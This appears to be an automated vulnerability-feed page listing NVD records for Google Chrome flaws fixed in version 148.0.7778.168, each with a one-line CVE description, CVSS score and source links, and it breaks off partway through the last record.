Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a...
https://kevwire.com/record/CVE-2026-8512
Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a... (May 14, 2026).
Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8512).
Sources:
NVD CVE-2026-8512: https://nvd.nist.gov/vuln/detail/CVE-2026-8512
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...
https://kevwire.com/record/CVE-2026-8513
Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox... (May 14, 2026).
Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8513).
Sources:
NVD CVE-2026-8513: https://nvd.nist.gov/vuln/detail/CVE-2026-8513
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...
https://kevwire.com/record/CVE-2026-8514
Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a... (May 14, 2026).
Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8514).
Sources:
NVD CVE-2026-8514: https://nvd.nist.gov/vuln/detail/CVE-2026-8514
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox...
https://kevwire.com/record/CVE-2026-8515
Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox... (May 14, 2026).
Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8515).
Sources:
NVD CVE-2026-8515: https://nvd.nist.gov/vuln/detail/CVE-2026-8515
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute...
https://kevwire.com/record/CVE-2026-8517
Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute... (May 14, 2026).
Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8517).
Sources:
NVD CVE-2026-8517: https://nvd.nist.gov/vuln/detail/CVE-2026-8517
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Object lifecycle issue in WebShare in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8518
Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8518).
Sources:
NVD CVE-2026-8518: https://nvd.nist.gov/vuln/detail/CVE-2026-8518
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Blink in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8519
Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (May 14, 2026).
Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8519).
Sources:
NVD CVE-2026-8519: https://nvd.nist.gov/vuln/detail/CVE-2026-8519
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8520
Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (May 14, 2026).
Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8520).
Sources:
NVD CVE-2026-8520: https://nvd.nist.gov/vuln/detail/CVE-2026-8520
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Race in Payments in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic.
https://kevwire.com/record/CVE-2026-8521
Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic. (May 14, 2026).
Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8521).
Sources:
NVD CVE-2026-8521: https://nvd.nist.gov/vuln/detail/CVE-2026-8521
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Tab Groups in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8522
Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (May 14, 2026).
Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8522).
Sources:
NVD CVE-2026-8522: https://nvd.nist.gov/vuln/detail/CVE-2026-8522
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...
https://kevwire.com/record/CVE-2026-8523
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a... (May 14, 2026).
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8523).
Sources:
NVD CVE-2026-8523: https://nvd.nist.gov/vuln/detail/CVE-2026-8523
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8524
Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8524).
Sources:
NVD CVE-2026-8524: https://nvd.nist.gov/vuln/detail/CVE-2026-8524
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8525
Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (May 14, 2026).
Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8525).
Sources:
NVD CVE-2026-8525: https://nvd.nist.gov/vuln/detail/CVE-2026-8525
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heap buffer overflow in ANGLE in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8526
Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8526).
Sources:
NVD CVE-2026-8526: https://nvd.nist.gov/vuln/detail/CVE-2026-8526
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8527
Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (May 14, 2026).
Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8527).
Sources:
NVD CVE-2026-8527: https://nvd.nist.gov/vuln/detail/CVE-2026-8527
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Insufficient validation of untrusted input in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...
https://kevwire.com/record/CVE-2026-8530
Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox... (May 14, 2026).
Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8530).
Sources:
NVD CVE-2026-8530: https://nvd.nist.gov/vuln/detail/CVE-2026-8530
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Network in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8531
Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (May 14, 2026).
